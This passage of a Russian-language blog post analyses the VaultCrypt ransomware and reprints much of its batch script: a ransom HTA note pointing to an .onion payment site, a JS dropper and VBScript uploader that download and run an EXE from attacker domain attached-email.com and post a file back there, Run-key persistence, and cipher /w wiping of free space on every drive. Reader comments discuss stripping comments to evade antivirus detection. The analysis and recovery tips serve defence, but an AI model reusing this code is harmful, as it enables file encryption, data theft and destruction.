style="padding-bottom:1px;"^>^</form^>^<hr^>Перейдите на наш сайт ^<b^>используя Tor^</b^>:^<br^>^<div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"^>http://restoredz4xpmuqr.onion^</div^>^<form action="http://pastebin.com/rs7jZ0TW"^>^<input class="dbutt" type="submit" value="Не работает?"^>^ ^⤴^</form^>^<hr^>^<div class="fnl"^>Авторизируйтесь ^ ^➤^  ^<b^>Прочитайте отзывы^</b^> ^ ^➤^  Ключ^</div^>^</div^>^<div class="footer"^>^<b^>Note 1:^</b^> Вы не сможете восстановить файлы без уникального ключа.^</div^>^<div class="footer"^>^<b^>Note 2:^</b^> Перед авторизацией, Вы ^<u^>должны^</u^> найти Ваш ^<b^>VAULT.KEY^</b^> на компьютере.^</div^>^<div class="footer"^>^<b^>Note 3: Стоимость полного восстановления на ресурсе не окончательная^</div^>^</div^>^</body^>^</html^>>> "%temp%\ddae25beb5b57d6e.hta"
    copy /y "%temp%\ddae25beb5b57d6e.hta" "%appdata%\ddae25beb5b57d6e.hta"
    del /f /q "%temp%\4c2e533d.cmd"
    attrib +h "%appdata%\ddae25beb5b57d6e.hta"
    attrib +r +s "%temp%\VAULT.KEY"
    attrib +r +s "%appdata%\VAULT.KEY"
    attrib +r +s "%userprofile%\Desktop\VAULT.KEY"
    

    Отформатированный HTML:
    <html>
      <head>
        <hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/>
          <style>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}
          </style>
          <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
          <title>Vault Notification</title>
          <script language="vbscript">
            sub Window_Onload
            window.resizeTo 1280,725
            screenWidth = Document.ParentWindow.Screen.AvailWidth
            screenHeight = Document.ParentWindow.Screen.AvailHeight
            posLeft = (screenWidth - 1280) / 2 
            posTop = (screenHeight - 725) / 2 
            window.moveTo posLeft, posTop 
            end sub 
          </script>
      </head>
      <body scroll="no">
        <div class="vaustyle">
          <div class="sc">
            Ваши документы и базы данных были зашифрованы и помещены в<br>☢ <b>формат .VAULT</b> ☢
          </div>
          <div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;">
            Для их восстановления необходимо получить <b>Ваш ключ</b>
          </div>
          <br>
          <div class="briefly">
            <div class="bti">
              <b>Кратко:</b>
            </div>
            <div class="sced">
              Необходимо произвести 3 шага:<hr> ➠ Перейдите на наш веб-ресурс<br> Ⓑ Получите свой ключ<br>⤷ <b>Восстановите файлы</b>
            </div>
          </div>
          <div class="detailed">
            <div class="bti">
              <b>Детально:</b>
            </div>
            <div class="sced">Скачайте <b>Tor</b> браузер с оф. сайта 
              <form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe">
                <input class="dbutt" type="submit" value="⇣ Загрузить">
              </form>
              <form action="https://www.torproject.org/projects/torbrowser.html.en#windows">
                <input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;">
              </form>
              <hr>Перейдите на наш сайт <b>используя Tor</b>:<br>
              <div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;">
                http://restoredz4xpmuqr.onion
              </div>
              <form action="http://pastebin.com/rs7jZ0TW">
                <input class="dbutt" type="submit" value="Не работает?"> ⤴
              </form><hr>
              <div class="fnl">
                Авторизируйтесь  ➤  <b>Прочитайте отзывы</b>  ➤  Ключ
              </div>
            </div>
            <div class="footer">
              <b>Note 1:</b> Вы не сможете восстановить файлы без уникального ключа.
            </div>
            <div class="footer">
              <b>Note 2:</b> Перед авторизацией, Вы <u>должны</u> найти Ваш <b>VAULT.KEY</b> на компьютере.
            </div>
            <div class="footer">
              <b>Note 3: Стоимость полного восстановления на ресурсе не окончательная
            </div>
          </div>
      </body>
    </html>
    

    NB:
    Документ невалидный…



    Интересно, а он должен вообще быть валидным?

    Картинка:



    4.6 Скачивание и запуск утилиты с сервера злоумышленников (не функционирует)



    Напоследок осталась часть кода после метки :6d0f24b8.

    Неотформатированный код:
    :6d0f24b8
    echo do_vbsUpload > "%temp%\77406a1e.vbs"
    echo Sub do_vbsUpload^(^) >> "%temp%\77406a1e.vbs"
    echo Dim FileName,DestURL,FieldName >> "%temp%\77406a1e.vbs"
    echo FieldName="FileField" >> "%temp%\77406a1e.vbs"
    echo Dim aCounter,Arg >> "%temp%\77406a1e.vbs"
    echo aCounter=1 >> "%temp%\77406a1e.vbs"
    echo For Each Arg In WScript.Arguments >> "%temp%\77406a1e.vbs"
    echo Select Case aCounter >> "%temp%\77406a1e.vbs"
    echo Case 1: FileName=Arg >> "%temp%\77406a1e.vbs"
    echo Case 2: DestURL=Arg >> "%temp%\77406a1e.vbs"
    echo Case 3: FieldName=Arg >> "%temp%\77406a1e.vbs"
    echo End Select >> "%temp%\77406a1e.vbs"
    echo aCounter=aCounter+1 >> "%temp%\77406a1e.vbs"
    echo Next >> "%temp%\77406a1e.vbs"
    echo UploadFile DestURL,FileName,FieldName >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo Sub UploadFile^(DestURL,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo Const Boundary="---------------------------0123456789012" >> "%temp%\77406a1e.vbs"
    echo Dim FileContents,FormData >> "%temp%\77406a1e.vbs"
    echo FileContents=GetFile^(FileName^) >> "%temp%\77406a1e.vbs"
    echo FormData=BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo IEPostBinaryRequest DestURL,FormData,Boundary >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo Function BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo Dim FormData,Pre,Po >> "%temp%\77406a1e.vbs"
    echo Const ContentType="application/upload" >> "%temp%\77406a1e.vbs"
    echo Pre="--"+Boundary+vbCrLf+mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs"
    echo Po=vbCrLf+"--"+Boundary+"--"+vbCrLf >> "%temp%\77406a1e.vbs"
    echo Const adLongVarBinary=205 >> "%temp%\77406a1e.vbs"
    echo Dim RS: Set RS=CreateObject^("ADODB.Recordset"^) >> "%temp%\77406a1e.vbs"
    echo RS.Fields.Append "b",adLongVarBinary,Len^(Pre^)+LenB^(FileContents^)+Len^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS.Open >> "%temp%\77406a1e.vbs"
    echo RS.AddNew >> "%temp%\77406a1e.vbs"
    echo Dim LenData >> "%temp%\77406a1e.vbs"
    echo LenData=Len^(Pre^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(StringToMB^(Pre^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs"
    echo Pre=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^)="" >> "%temp%\77406a1e.vbs"
    echo LenData=Len^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(StringToMB^(Po^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs"
    echo Po=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^)="" >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(Pre^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(FileContents^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS.Update >> "%temp%\77406a1e.vbs"
    echo FormData=RS^("b"^) >> "%temp%\77406a1e.vbs"
    echo RS.Close >> "%temp%\77406a1e.vbs"
    echo BuildFormData=FormData >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function IEPostBinaryRequest^(URL,FormData,Boundary^) >> "%temp%\77406a1e.vbs"
    echo Dim IE: Set IE=CreateObject^("InternetExplorer.Application"^) >> "%temp%\77406a1e.vbs"
    echo IE.Navigate URL,,,FormData,_ >> "%temp%\77406a1e.vbs"
    echo "Content-Type: multipart/form-data; boundary="+Boundary+vbCrLf >> "%temp%\77406a1e.vbs"
    echo do While IE.Busy >> "%temp%\77406a1e.vbs"
    echo Wait >> "%temp%\77406a1e.vbs"
    echo Loop >> "%temp%\77406a1e.vbs"
    echo On Error Resume Next >> "%temp%\77406a1e.vbs"
    echo IEPostBinaryRequest=IE.Document.body.innerHTML >> "%temp%\77406a1e.vbs"
    echo IE.Quit >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs"
    echo Dim MPtemplate >> "%temp%\77406a1e.vbs"
    echo MPtemplate="Content-Disposition: form-data; name=""{field}"";"+_ >> "%temp%\77406a1e.vbs"
    echo " filename=""{file}"""+vbCrLf+_ >> "%temp%\77406a1e.vbs"
    echo "Content-Type: {ct}"+vbCrLf+vbCrLf >> "%temp%\77406a1e.vbs"
    echo Dim Out >> "%temp%\77406a1e.vbs"
    echo Out=Replace^(MPtemplate,"{field}",FieldName^) >> "%temp%\77406a1e.vbs"
    echo Out=Replace^(Out,"{file}",FileName^) >> "%temp%\77406a1e.vbs"
    echo mpFields=Replace^(Out,"{ct}",ContentType^) >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function GetFile^(FileName^) >> "%temp%\77406a1e.vbs"
    echo Dim Stream: Set Stream=CreateObject^("ADODB.Stream"^) >> "%temp%\77406a1e.vbs"
    echo Stream.Type=1 >> "%temp%\77406a1e.vbs"
    echo Stream.Open >> "%temp%\77406a1e.vbs"
    echo Stream.LoadFromFile FileName >> "%temp%\77406a1e.vbs"
    echo GetFile=Stream.Read >> "%temp%\77406a1e.vbs"
    echo Stream.Close >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function StringToMB^(S^) >> "%temp%\77406a1e.vbs"
    echo Dim I,B >> "%temp%\77406a1e.vbs"
    echo For I=1 To Len^(S^) >> "%temp%\77406a1e.vbs"
    echo B=B ^& ChrB^(Asc^(Mid^(S,I,1^)^)^) >> "%temp%\77406a1e.vbs"
    echo Next >> "%temp%\77406a1e.vbs"
    echo StringToMB=B >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Sub Wait^(^) >> "%temp%\77406a1e.vbs"
    echo On Error Resume Next >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo var fp="%%temp%%\\",os="attached-email",WshShell=CreateObject^("WScript.Shell"^),fp=WshShell.ExpandEnvironmentStrings^(fp^);function CreateObject^(b^){return new ActiveXObject^(b^)}function dw^(b,d^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^);new ActiveXObject^("Scripting.FileSystemObject"^);var a=new ActiveXObject^("ADODB.Stream"^);a.Open^(^);a.Type=1;a.Write^(c.ResponseBody^);a.Position=0;a.SaveToFile^(d,2^);a.Close^(^)}dw^("http://"+os+".com/v.vlt",""+fp+"30cb056a.exe"^); > "%temp%\885873e9.js"
    wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js"
    if exist 30cb056a.exe (
    "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c"
    wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf
    del /f /q 30cb056a.exe
    )
    del /f /q "%temp%\885873e9.js"
    del /f /q "%temp%\77406a1e.vbs"
    del /f /q "%temp%\91c09c60.25ca7a7c"
    attrib -h -s "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\*.gpg"
    del /f /q "%temp%\*.*xe"
    echo Y|assoc .vault=d21f132a
    echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^)
    echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta"
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f
    del /f /q "%temp%\e33176c1.js"
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f
    start mshta "%temp%\ddae25beb5b57d6e.hta"
    attrib -s -h "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\9480bf43.76a94786"
    if exist "%systemroot%\system32\cipher.exe" (
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :461cd8b8 %%s
    goto 3c5d9ac8
    :461cd8b8
    cipher /w:%1:
    goto:eof
    :3c5d9ac8
    )
    del /f /q %0
    :871c371d
    

    В начале этого участка кода создается файл VBScript, который предназначен для отправки данных на сервер злоумышленников. Этот скрипт принимает на вход три аргумента:
    • имя файла, который нужно загрузить;
    • адрес сервера, на который необходимо переслать информацию;
    • имя поля в HTTP-запросе, в котором будут содержаться передаваемые данные.

    Отформатированный код:
    do_vbsUpload
    
    Sub do_vbsUpload()
      Dim FileName, DestURL, FieldName
      FieldName = "FileField"
      Dim aCounter, Arg
      aCounter = 1
      For Each Arg In WScript.Arguments
        Select Case aCounter
          Case 1: FileName = Arg
          Case 2: DestURL = Arg
          Case 3: FieldName = Arg
        End Select
        aCounter = aCounter + 1
      Next
      UploadFile DestURL, FileName, FieldName
    End Sub
    
    Sub UploadFile(DestURL, FileName, FieldName)
      Const Boundary = "---------------------------0123456789012"
      Dim FileContents, FormData
      FileContents = GetFile(FileName)
      FormData = BuildFormData(FileContents, Boundary, FileName, FieldName)
      IEPostBinaryRequest DestURL, FormData, Boundary
    End Sub
    
    Function BuildFormData(FileContents, Boundary, FileName, FieldName)
      Dim FormData, Pre, Po
      Const ContentType = "application/upload"
      Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, FileName, ContentType)
      Po = vbCrLf + "--" + Boundary + "--" + vbCrLf
      Const adLongVarBinary = 205
      Dim RS: Set RS = CreateObject("ADODB.Recordset")
      RS.Fields.Append "b", adLongVarBinary, Len(Pre) = LenB(FileContents) = Len(Po)
      RS.Open
      RS.AddNew
      Dim LenData
      LenData = Len(Pre)
      RS("b").AppendChunk(StringToMB(Pre) & ChrB(0))
      Pre = RS("b").GetChunk(LenData)
      RS("b") = ""
      LenData = Len(Po)
      RS("b").AppendChunk(StringToMB(Po) & ChrB(0))
      Po = RS("b").GetChunk(LenData)
      RS("b") = ""
      RS("b").AppendChunk(Pre)
      RS("b").AppendChunk(FileContents)
      RS("b").AppendChunk(Po)
      RS.Update
      FormData = RS("b")
      RS.Close
      BuildFormData = FormData
    End Function
    
    Function IEPostBinaryRequest(URL, FormData, Boundary)
      Dim IE: Set IE = CreateObject("InternetExplorer.Application")
      IE.Navigate URL,,,FormData,_
      "Content-Type: multipart/form-data; boundary = " + Boundary + vbCrLf
      do While IE.Busy
        Wait
      Loop
      On Error Resume Next
      IEPostBinaryRequest = IE.Document.body.innerHTML
      IE.Quit
    End Function
    
    Function mpFields(FieldName, FileName, ContentType)
      Dim MPtemplate
      MPtemplate = "Content-Disposition: form-data; name = ""{field}"";"+_
      " filename = ""{file}""" + vbCrLf+_
      "Content-Type: {ct}" + vbCrLf + vbCrLf
      Dim Out
      Out = Replace(MPtemplate, "{field}", FieldName)
      Out = Replace(Out, "{file}", FileName)
      mpFields = Replace(Out, "{ct}", ContentType)
    End Function
    
    Function GetFile(FileName)
      Dim Stream: Set Stream = CreateObject("ADODB.Stream")
      Stream.Type = 1
      Stream.Open
      Stream.LoadFromFile FileName
      GetFile = Stream.Read
      Stream.Close
    End Function
    
    Function StringToMB(S)
      Dim I, B
      For I = 1 To Len(S)
        B = B & ChrB(Asc(Mid(S, I, 1)))
      Next
      StringToMB = B
    End Function
    
    Sub Wait()
      On Error Resume Next
    End Sub
    

    Затем в папке %temp% создается JS-файл, который пытается загрузить с сервера злоумышленников EXE-файл и сохранить его в папку %temp%.

    К сожалению, в связи с безвременной кончиной этого сайта разработчиков получить этот скрипт не представляется возможным.

    Код:
    var fp = "%%temp%%\\",
        os = "attached-email",
        WshShell = CreateObject("WScript.Shell"),
        fp = WshShell.ExpandEnvironmentStrings(fp);
    
    function CreateObject(b) {
        return new ActiveXObject(b)
    }
    
    function dw(b, d) {
        var c = new ActiveXObject("MSXML2.XMLHTTP");
        c.open("GET", b, 0);
        c.send();
        new ActiveXObject("Scripting.FileSystemObject");
        var a = new ActiveXObject("ADODB.Stream");
        a.Open();
        a.Type = 1;
        a.Write(c.ResponseBody);
        a.Position = 0;
        a.SaveToFile(d, 2);
        a.Close()
    }
    
    dw("http://" + os + ".com/v.vlt", "" + fp + "30cb056a.exe");
    

    После этого вызываются на выполнение только что созданные JS- и VB- файлы, а также скачанный с сайта злоумышленников EXE-файл (если последний был скачан успешно).

    У меня нет никакой информации о том, какие действия выполняет этот EXE-файл. По всей видимости, результатом его работы является файл 91c09c60.25ca7a7c, который загружается на сервер злоумышленников.

    Код:
    wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js"
    if exist 30cb056a.exe (
    "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c"
    wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf
    del /f /q 30cb056a.exe
    )
    


    4.7 Финальный этап



    Здесь удаляются ставшие ненужными скрипты и EXE-файлы, а также служебные файлы, созданные GPG.

    Код:
    del /f /q "%temp%\885873e9.js"
    del /f /q "%temp%\77406a1e.vbs"
    del /f /q "%temp%\91c09c60.25ca7a7c"
    attrib -h -s "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\*.gpg"
    del /f /q "%temp%\*.*xe"
    

    После этого скрипт устанавливает свой обработчик открытия файлов с расширением «vault»: при открытии такого файла пользователю должно показываться окно со ссылкой на ключ.

    Картинка:


    NB:
    У меня эти команды почему-то упорно отказываются отрабатывать, так что файлы с расширением «vault» ведут себя как обычные файлы с неизвестным расширением.

    Затем созданное ранее HTML-приложение (%appdata%\ddae25beb5b57d6e.hta) добавляется в автозапуск, так что его окно будет отображаться на экране при каждой загрузке системы.

    Код:
    echo Y|assoc .vault=d21f132a
    echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^)
    echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta"
    

    После этого из автозапуска удаляются ранее созданные там ключи, открывающие текстовый документ с инструкциями по получению ключа (теперь пользователь при загрузке ОС увидит не текстовый файл, а окно HTML-приложения). Также из автозапуска удаляется вызов процедуры шифрования (так как к этому моменту все файлы уже зашифрованы).

    После этого запускается HTML-приложение, отображающее радостное сообщение о том, что все файлы на ПК зашифрованы.

    Наконец, удаляется файл 9480bf43.76a94786, который является маркером того, что экземпляр вредоносного скрипта уже запущен. Теперь можно запускать заново.)

    Код:
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f
    del /f /q "%temp%\e33176c1.js"
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f
    start mshta "%temp%\ddae25beb5b57d6e.hta"
    attrib -s -h "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\9480bf43.76a94786"
    

    Предпоследний шаг — вызов для всех томов утилиты cipher с параметром, предписывающим перезаписать всю информацию на секторах жесткого диска, не отведенных ни под один файл. С помощью этой команды данные удаленных ранее файлов окончательно перезатираются на физическом уровне.

    Код:
    if exist "%systemroot%\system32\cipher.exe" (
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :461cd8b8 %%s
    goto 3c5d9ac8
    :461cd8b8
    cipher /w:%1:
    goto:eof
    :3c5d9ac8
    )
    

    Финальный аккорд — самоудаление вредоносного скрипта с ПК пользователя.

    del /f /q %0
    :871c371d
    

    Never existed...


    Картинка, естественно, не моя: это обложка альбома группы "Condemn the Infected", которая очень мне понравилась своим слоганом.
    Музыку их, если что, никогда не слушал.)



    5 Алгоритм и файлы



    Краткое содержание предыдущих разделов :)


    Основные файлы, создаваемые при работе главного скрипта:


    Список:
    • 03dfb98e.7087b06e — файл с открытым ключом злоумышленников;
    • 21b0fb7b.7ca0ec0c — «заготовка» списка файлов, подлежащих шифрованию;
    • 3637bf69.36ddf8fe — «заготовка» VAULT.KEY: файл с закрытым ключом, которым будут зашифрованы файлы пользователя, а также с некоторой технической информацией;
    • 4077430c_VAULT.KEY — по-видимому, резервная копия VAULT.KEY;
    • 59665d79.vbs — скрипт удаления теневых копий;
    • 61231f25.9db8b89a — «заготовка» скрипта шифрования;
    • 69aca909.cmd — запускает скрипт удаления теневых копий (59665d79.vbs);
    • 9480bf43.76a94786 — файл-индикатор того, что вредоносный скрипт уже запущен;
    • acda3f33.js — запускает скрипт 69aca909.cmd;
    • CONFIRMATION.KEY — зашифрованный файл, в котором хранится список зашифрованных файлов пользователя и некоторая служебная информация;
    • ddae25beb5b57d6e.hta — приложение (HTML Application), выводящее сообщение о том, что файлы пользователя были зашифрованы, и показывающее инструкции по получению ключа дешифровки;
    • gpg.exe — утилита GPG для шифрования файлов;
    • install.bat — главный скрипт троянца;
    • pubring.bak — служебный файл утилиты GPG;
    • pubring.gpg — служебный файл утилиты GPG;
    • pubring.gpg.lock — служебный файл утилиты GPG;
    • random_seed — служебный файл утилиты GPG;
    • secring.gpg — служебный файл утилиты GPG;
    • secring.gpg.lock — служебный файл утилиты GPG;
    • trustdb.gpg — служебный файл утилиты GPG;
    • trustdb.gpg.lock — служебный файл утилиты GPG;
    • VAULT.KEY — зашифрованный файл, в котором хранится ключ шифрования файлов пользователя и служебная информация;
    • VAULT.txt — текстовый файл с сообщение о том, что файлы пользователя были зашифрованы, и инструкциями по получению ключа дешифровки.

    Образцы (ссылка была выше, продублирую на всякий случай и здесь). Пароль = «virus».

    NB:
    Теперь, когда мы примерно представляем, что делает вирус, можно попробовать поиздеваться.

    Например, если создать в папке %Temp% файл 9480bf43.76a94786, то при запуске install.bat ничего не произойдет.

    Если в полном пути к документу присутствуют слова из «системного списка», то такой документ не будет зашифрован. Например, если у нас есть пользователь с именем «library_user», то у него в профиле вообще не будет зашифрован ни один файл.

    Наконец, если заранее сделать резервную копию закрытого ключа (файл 3637bf69.36ddf8fe), то, разумеется, можно будет расшифровать зашифрованные файлы.

    Для этого вначале импортируем закрытый ключ:

    gpg --import 3637bf69.36ddf8fe

    А затем расшифровываем:

    gpg --decrypt --output test.docx test.docx.vault

    Параметр --output приходится указывать, так как зашифрованные файлы имеют расширение .vault, а не стандартное .gpg. Если предварительно переименовать файл test.docx.vault в test.docx.gpg, то можно использовать стандартную опцию --decrypt-files:

    gpg --decrypt-files test.docx.gpg

    В обоих случаях результат будет одинаков: рядом с зашифрованным файлом появится расшифрованный test.docx.

    Почитать про основы использования GPG можно тут [rus] и там [англ.].


    6 Выводы



    Первый баянистый и печальный вывод: антивирусы — не панацея.

    Ну, почти все антивирусы...
    Вот результаты проверки файлов на момент атаки.

    JS-файл:


    BAT-файл:


    Как говорится, комментарии излишни, а Dr.Web — молодец. По крайней мере, в данном случае.)

    Со временем, конечно, ситуация несколько улучшается…

    JS:


    BAT:


    Но кому это поможет уже после того, как все данные зашифрованы вымогателями?

    Второй печальный и баянистый вывод: пользователи все равно упорно продолжают открывать архивы, приложения, ссылки — и вообще все, что попадает в почту.

    Сложно в чем-то их упрекнуть: у всех свои навыки и компетенции. Если меня сейчас посадить за бухгалтерию или в закупки — тоже, думаю, получится забавно.))

    Как говорится, да здравствует мыло пушистое, полотенце душистое и инструктаж по информационной безопасности!

    NB:
    Пользуясь случаем, хочу немного помечтать и упомянуть вот этих парней: раз, два.

    Третий вывод, баянистый и печальный: резервные копии нужны и полезны.

    На этом у меня все. Спасибо за внимание.

    Желаю, чтобы ваши пользователи никогда такую гадость в интрасеть не приносили.

    Only registered users can participate in poll. Log in, please.

    А ваш антивирус блокирует страницу с этим постом?

    • 4.4%да12
    • 95.6%нет261
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 36

      +1
      Вот результаты проверки файлов на момент атаки.

      С антивирусами и такими скриптами можно провести эксперимент — удалите комментарии, а затем скормите полученный файлв вирустоталу. И сравните результат. Многие такие вот скрипты тупо по контрольной сумме определяют.

      Да, и ссылки на вирус, даже с паролем, могут за распространение посчитать. И в тюрьму посадить. А там ужин, макароны…
        0
        посадить
        Хочется верить, что еще не настолько всё упорото в нашей стране.)
        провести эксперимент
        А вот это идея, спасибо. Попробую сделать, когда время будет. Но мне видится сомнительным, что это был сигнатурный анализ — скорее, эвристика. Во остальные антивирусы, которые через месяц стали это обнаруживать — это да, скорее сигнатуры, чем эвристика.

        Еще одна проблема тут в том, что все-таки определять по хэшу — это уж совсем упорото; я думаю, что обычно все же используются сигнатуры. И это именно код, а не хэш-суммы.

        Пример из недавнего прошлого: пока я писал эту статью, мне Avast! страницу с ней блокировал. В итоге я нашел три куска JS-кода (очень небольших — буквально 3-10 символов), на которые Avast! ругается. Причем можно даже пробелы, переносы строк добавлять — все равно сигнатура определяется, и Avast! срабатывает.

        Так что удаление / добавление новых комментариев в код может вообще ничего не поменять. А обфусцировать код повторно — это уже не то.)
          0
          Но мне видится сомнительным, что это был сигнатурный анализ — скорее, эвристика.

          Я как-то пробовал на похожей штуке. Её определяло семь или восемь антивирусов. Убрал комментарии — остался один.
            0
            Решил не откладывать, как обычно, в долгий ящик под названием «завтра» и провести эксперимент.)

            В качестве образцов взял отформатированный код js-дроппера (всего 31 строка кода) и деобфусцированный код bat-скрипта (всего 441 строка кода) — оба есть в статье под спойлером.

            Результаты: раз, два.

            Скриншотики (а то ведь добавят в базы еще):
            JS:


            BAT:


            В сухом остатке: крайне непонятно, каким же образом добавляет сигнатуры NOD32… Неужели рельно комментарии в сигнатуры добавляют? :D


            P. S. Ради прикола могу предложить три текстовые строки, которые очень «любит» Avast!:

            5 7(a){k 8 e(a)}4 9=7
            
            |x7D|x71|x7B|x38|_0x3283x6|String|42|for|x25|36|toString|parseInt|35|if|var|eval|new|RegExp|29'.split('|'),0,{})
            
            .Run(cdp,0,0);}xx(''+cdp+'');
            

